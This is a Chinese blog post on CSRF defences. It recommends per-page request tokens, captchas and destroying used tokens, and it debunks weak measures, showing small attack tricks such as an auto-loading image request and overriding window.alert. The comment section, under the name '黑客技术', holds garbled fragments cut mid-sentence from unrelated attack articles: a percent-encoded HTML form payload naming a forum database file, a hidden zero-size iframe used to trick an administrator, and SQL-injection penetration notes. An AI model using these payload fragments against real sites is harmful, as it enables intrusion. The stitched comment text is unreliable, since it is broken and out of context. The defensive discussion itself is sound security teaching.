虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。

第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。

  • 评论列表:
  •  黑客技术
     发布于 2022-05-31 07:07:39  回复该评论
  • 68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%
  •  黑客技术
     发布于 2022-05-31 07:35:46  回复该评论
  • 强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了
  •  黑客技术
     发布于 2022-05-31 12:11:27  回复该评论
  • 从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,
  •  黑客技术
     发布于 2022-05-31 11:19:25  回复该评论
  • 户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂
  •  黑客技术
     发布于 2022-05-31 04:02:12  回复该评论
  • E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E 或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。 当管理员打

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.